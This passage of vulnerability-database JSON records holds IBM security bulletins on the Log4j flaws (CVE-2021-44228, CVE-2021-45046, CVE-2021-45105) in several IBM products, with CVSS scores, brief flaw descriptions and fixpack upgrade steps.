"obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2022-01-27T02:08:48", "id": "9A6C0D3F4E9D02D3ABB77CC1F15B5C57FED8926916549AF207B111EC9D3C5B1C", "href": "https://www.ibm.com/support/pages/node/6551316", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T17:58:07", "description": "## Summary\n\nIBM Data Risk Manager (IDRM) 2.0.6.10 and earlier is impacted by Log4j (CVE-2021-45105, CVE-2021-45046). This vulnerability has been addressed in the updated version of IDRM 2.0.6.11 which includes Apache Log4j 2.17.1. Please see remediation steps below to apply fix. All customers encouraged to act quickly to update their systems.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-45105](<https://vulners.com/cve/CVE-2021-45105>) \n** DESCRIPTION: **Apache Log4j is vulnerable to a denial of service, caused by the failure to protect from uncontrolled recursion from self-referential lookups. A remote attacker with control over Thread Context Map (MDC) input data could craft malicious input data that contains a recursive lookup to cause a StackOverflowError that will terminate the process. Note: The vulnerability is also called LOG4J2-3230. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215647](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215647>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-45046](<https://vulners.com/cve/CVE-2021-45046>) \n** DESCRIPTION: **Apache Log4j could result in remote code execution, caused by an incomplete fix of CVE-2021-44228 in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, an attacker with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern to leak sensitive information and remote code execution in some environments and local code execution in all environments. \nCVSS Base score: 9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215195](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215195>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nIBM DRM| 2.0.6 \n \n\n\n## Remediation/Fixes\n\nTo obtain fixes for all reported issues, customers are advised first to upgrade to v2.0.6.10, and then apply the latest FixPack 2.0.6.11. \n\n**NOTE:** The FixPack is not cumulative. So it must be applied on top of 2.0.6.10 in sequence.\n\n_Product_| _VRMF_| _APAR \n_| _Remediation / First Fix_ \n---|---|---|--- \nIBM Data Risk Manager| 2.0.6| \n\n-\n\n| \n\n1) Apply [DRM_2.0.6.1_Fixpack ](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.4.1&platform=Linux&function=all>)\n\n2) Apply [DRM_2.0.6.2_Fixpack ](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.1&platform=Linux&function=all>)\n\n3) Apply [DRM_2.0.6.3_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.2&platform=Linux&function=all>)\n\n4) Apply [DRM_2.0.6.4_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.3&platform=Linux&function=all> \"\" )\n\n5) Apply [DRM_2.0.6.5_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.3&platform=Linux&function=all>)\n\n6) Apply [DRM_2.0.6.6_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.5&platform=Linux&function=all>)\n\n7) Apply [DRM_2.0.6.7_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.6&platform=Linux&function=all>)\n\n8) Apply [DRM_2.0.6.8_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.7&platform=Linux&function=all>)\n\n9) Apply [DRM_2.0.6.9_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.8&platform=Linux&function=all>)\n\n10) Apply [DRM_2.0.6.10_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.9&platform=Linux&function=all>)\n\n11) Apply [DRM_2.0.6.11_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.10&platform=Linux&function=all> \"DRM_2.0.6.11_FixPack\" ) \n \nIBM Data Risk Manager| 2.0.6.1| \n\n-\n\n| \n\n1) Apply [DRM_2.0.6.2_Fixpack ](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.1&platform=Linux&function=all>)\n\n2) Apply [DRM_2.0.6.3_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.2&platform=Linux&function=all>)\n\n3) Apply [DRM_2.0.6.4_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.3&platform=Linux&function=all> \"DRM_2.0.6.4_FixPack\" )\n\n4) Apply [DRM_2.0.6.5_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.3&platform=Linux&function=all>)\n\n5) Apply [DRM_2.0.6.6_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.5&platform=Linux&function=all>)\n\n6) Apply [DRM_2.0.6.7_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.6&platform=Linux&function=all>)\n\n7) Apply [DRM_2.0.6.8_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.7&platform=Linux&function=all>)\n\n8) Apply [DRM_2.0.6.9_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.8&platform=Linux&function=all>)\n\n9) Apply [DRM_2.0.6.10_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.9&platform=Linux&function=all>)\n\n10) Apply [DRM_2.0.6.11_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.10&platform=Linux&function=all> \"DRM_2.0.6.11_FixPack\" ) \n \nIBM Data Risk Manager| 2.0.6.2| \n\n-\n\n| \n\n1) Apply [DRM_2.0.6.3_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.2&platform=Linux&function=all>)\n\n2) Apply [DRM_2.0.6.4_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.3&platform=Linux&function=all> \"DRM_2.0.6.4_FixPack\" )\n\n3) Apply [DRM_2.0.6.5_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.3&platform=Linux&function=all>)\n\n4) Apply [DRM_2.0.6.6_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.5&platform=Linux&function=all>)\n\n5) Apply [DRM_2.0.6.7_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.6&platform=Linux&function=all>)\n\n6) Apply [DRM_2.0.6.8_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.7&platform=Linux&function=all>)\n\n7) Apply [DRM_2.0.6.9_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.8&platform=Linux&function=all>)\n\n8) Apply [DRM_2.0.6.10_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.9&platform=Linux&function=all>)\n\n9) Apply [DRM_2.0.6.11_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.10&platform=Linux&function=all> \"DRM_2.0.6.11_FixPack\" ) \n \nIBM Data Risk Manager| 2.0.6.3| \n\n-\n\n| \n\n1) Apply [DRM_2.0.6.4_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.3&platform=Linux&function=all> \"DRM_2.0.6.4_FixPack\" )\n\n2) Apply [DRM_2.0.6.5_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.3&platform=Linux&function=all>)\n\n3) Apply [DRM_2.0.6.6_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.5&platform=Linux&function=all>)\n\n4) Apply [DRM_2.0.6.7_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.6&platform=Linux&function=all>)\n\n5) Apply [DRM_2.0.6.8_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.7&platform=Linux&function=all>)\n\n6) Apply [DRM_2.0.6.9_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.8&platform=Linux&function=all>)\n\n7) Apply [DRM_2.0.6.10_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.9&platform=Linux&function=all>)\n\n8) Apply [DRM_2.0.6.11_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.10&platform=Linux&function=all> \"DRM_2.0.6.11_FixPack\" ) \n \nIBM Data Risk Manager| 2.0.6.4| \n\n-\n\n| \n\n1) Apply [DRM_2.0.6.5_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.3&platform=Linux&function=all>)\n\n2) Apply [DRM_2.0.6.6_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.5&platform=Linux&function=all>)\n\n3) Apply [DRM_2.0.6.7_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.6&platform=Linux&function=all>)\n\n4) Apply [DRM_2.0.6.8_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.7&platform=Linux&function=all>)\n\n5) Apply [DRM_2.0.6.9_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.8&platform=Linux&function=all>)\n\n6) Apply [DRM_2.0.6.10_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.9&platform=Linux&function=all>)\n\n7) Apply [DRM_2.0.6.11_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.10&platform=Linux&function=all> \"DRM_2.0.6.11_FixPack\" ) \n \nIBM Data Risk Manager| 2.0.6.5| \n\n-\n\n| \n\n1) Apply [DRM_2.0.6.6_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.5&platform=Linux&function=all>)\n\n2) Apply [DRM_2.0.6.7_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.6&platform=Linux&function=all>)\n\n3) Apply [DRM_2.0.6.8_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.7&platform=Linux&function=all>)\n\n4) Apply [DRM_2.0.6.9_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.8&platform=Linux&function=all>)\n\n5) Apply [DRM_2.0.6.10_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.9&platform=Linux&function=all>)\n\n6) Apply [DRM_2.0.6.11_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.10&platform=Linux&function=all> \"DRM_2.0.6.11_FixPack\" ) \n \nIBM Data Risk Manager| 2.0.6.6| \n\n-\n\n| \n\n1) Apply [DRM_2.0.6.7_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.6&platform=Linux&function=all>)\n\n2) Apply [DRM_2.0.6.8_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.7&platform=Linux&function=all>)\n\n3) Apply [DRM_2.0.6.9_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.8&platform=Linux&function=all>)\n\n4) Apply [DRM_2.0.6.10_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.9&platform=Linux&function=all>)\n\n5) Apply [DRM_2.0.6.11_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.10&platform=Linux&function=all> \"DRM_2.0.6.11_FixPack\" ) \n \nIBM Data Risk Manager| 2.0.6.7| \n\n-\n\n| \n\n1) Apply [DRM_2.0.6.8_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.7&platform=Linux&function=all>)\n\n2) Apply [DRM_2.0.6.9_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.8&platform=Linux&function=all>)\n\n3) Apply [DRM_2.0.6.10_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.9&platform=Linux&function=all>)\n\n4) Apply [DRM_2.0.6.11_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.10&platform=Linux&function=all> \"DRM_2.0.6.11_FixPack\" ) \n \nIBM Data Risk Manager| 2.0.6.8| \n\n-\n\n| \n\n1) Apply [DRM_2.0.6.9_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.8&platform=Linux&function=all>)\n\n2) Apply [DRM_2.0.6.10_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.9&platform=Linux&function=all>)\n\n3) Apply [DRM_2.0.6.11_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.10&platform=Linux&function=all> \"DRM_2.0.6.11_FixPack\" ) \n \nIBM Data Risk Manager| 2.0.6.9| \n\n-\n\n| \n\n1) Apply [DRM_2.0.6.10_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.9&platform=Linux&function=all>)\n\n2) Apply [DRM_2.0.6.11_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.10&platform=Linux&function=all> \"DRM_2.0.6.11_FixPack\" ) \n \nIBM Data Risk Manager| 2.0.6.10| \n\n-\n\n| \n\n1) Apply [DRM_2.0.6.11_FixPack](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=IBM%20Security&product=ibm/Other+software/IBM+Data+Risk+Manager&release=2.0.6.10&platform=Linux&function=all> \"DRM_2.0.6.11_FixPack\" ) \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-13T15:33:00", "type": "ibm", "title": "Security Bulletin: Vulnerability in Apache Log4j affects IBM Data Risk Manager (CVE-2021-45105, CVE-2021-45046)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2022-01-13T15:33:00", "id": "A3BC60725F0EAC71F9F85D52468B5D776A02B53D2F6CC6F5075461F1867C9EA8", "href": "https://www.ibm.com/support/pages/node/6540606", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T17:58:08", "description": "## Summary\n\nApache Log4j is included in WebSphere Application Server (WAS), which is distributed with IBM Stored IQ for Legal. There are multiple Apache Log4j vulnerabilities (CVE-2021-44228, CVE-2021-45105, CVE-2021-45046) impacting IBM StoredIQ for Legal application. IBM StoredIQ for Legal uses Apache Log4j for logging. The interim fix PH42762 removes Apache Log4j from WAS.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-44228](<https://vulners.com/cve/CVE-2021-44228>) \n** DESCRIPTION: **Apache Log4j could allow a remote attacker to execute arbitrary code on the system, caused by the failure to protect against attacker controlled LDAP and other JNDI related endpoints by JNDI features. By sending a specially crafted code string, an attacker could exploit this vulnerability to load arbitrary Java code on the server and take complete control of the system. Note: The vulnerability is also called Log4Shell or LogJam. \nCVSS Base score: 10 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/214921](<https://exchange.xforce.ibmcloud.com/vulnerabilities/214921>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-45105](<https://vulners.com/cve/CVE-2021-45105>) \n** DESCRIPTION: **Apache Log4j is vulnerable to a denial of service, caused by the failure to protect from uncontrolled recursion from self-referential lookups. A remote attacker with control over Thread Context Map (MDC) input data could craft malicious input data that contains a recursive lookup to cause a StackOverflowError that will terminate the process. Note: The vulnerability is also called LOG4J2-3230. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215647](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215647>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-45046](<https://vulners.com/cve/CVE-2021-45046>) \n** DESCRIPTION: **Apache Log4j could result in remote code execution, caused by an incomplete fix of CVE-2021-44228 in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, an attacker with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern to leak sensitive information and remote code execution in some environments and local code execution in all environments. \nCVSS Base score: 9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215195](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215195>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n**Affected Product(s)**| **Version(s)** \n---|--- \nIBM StoredIQ for Legal| 2.0.3 \n \n\n\n## Remediation/Fixes\n\n**IBM strongly recommends addressing the vulnerability now.**\n\nFor the affected version specified above, apply [PH42762](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=Enterprise%20Content%20Management&product=ibm/Information+Management/StoredIQ+for+Legal&release=2.0.3.14&platform=All&function=all> \"PH42762\" ) interim fix on top of WAS 8.5.\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-13T04:16:49", "type": "ibm", "title": "Security Bulletin: Due to use of Apache Log4j, IBM StoredIQ for Legal is vulnerable to arbitrary code execution (CVE-2021-44228, CVE-2021-45046) and denial of service (CVE-2021-45105)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2022-01-13T04:16:49", "id": "18433120583E82C639DDC6BF1D76EF365C9C500B0A9CC0AE663BA4BE32DC9232", "href": "https://www.ibm.com/support/pages/node/6540518", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T17:57:53", "description": "## Summary\n\nIBM Watson Discovery for IBM Cloud Pak for Data contains a vulnerable version of Apache Log4j.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-45105](<https://vulners.com/cve/CVE-2021-45105>) \n** DESCRIPTION: **Apache Log4j is vulnerable to a denial of service, caused by the failure to protect from uncontrolled recursion from self-referential lookups. A remote attacker with control over Thread Context Map (MDC) input data could craft malicious input data that contains a recursive lookup to cause a StackOverflowError that will terminate the process. Note: The vulnerability is also called LOG4J2-3230. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215647](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215647>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-45046](<https://vulners.com/cve/CVE-2021-45046>) \n** DESCRIPTION: **Apache Log4j could result in remote code execution, caused by an incomplete fix of CVE-2021-44228 in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, an attacker with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern to leak sensitive information and remote code execution in some environments and local code execution in all environments. \nCVSS Base score: 9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215195](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215195>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nWatson Discovery| 4.0.0-4.0.4 \nWatson Discovery| 2.0.0-2.2.1 \n \n\n\n## Remediation/Fixes\n\nUpgrade to IBM Watson Discovery 4.0.5 \n\nUpgrade to IBM Watson Discovery 2.2.1 and apply cpd-watson-discovery-2.2.1-patch-7\n\n<https://cloud.ibm.com/docs/discovery-data?topic=discovery-data-install>\n\n<https://www.ibm.com/support/pages/available-patches-watson-discovery-ibm-cloud-pak-data>\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-16T03:17:46", "type": "ibm", "title": "Security Bulletin: IBM Watson Discovery for IBM Cloud Pak for Data affected by vulnerability in Apache Log4j", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2022-01-16T03:17:46", "id": "ECC7277FA4D1E6C0C387927905899E353FF202FB061043E0FC8C0DBCF3150F7E", "href": "https://www.ibm.com/support/pages/node/6538332", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T17:56:51", "description": "## Summary\n\nApache Log4j (CVE-2021-45105 and CVE-2021-45046) is used by the Monitoring component of IBM Cloud Pak for Multicloud Management as part of its logging infrastructure. The fix includes Apache Log4j v2.17.1.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-45105](<https://vulners.com/cve/CVE-2021-45105>) \n** DESCRIPTION: **Apache Log4j is vulnerable to a denial of service, caused by the failure to protect from uncontrolled recursion from self-referential lookups. A remote attacker with control over Thread Context Map 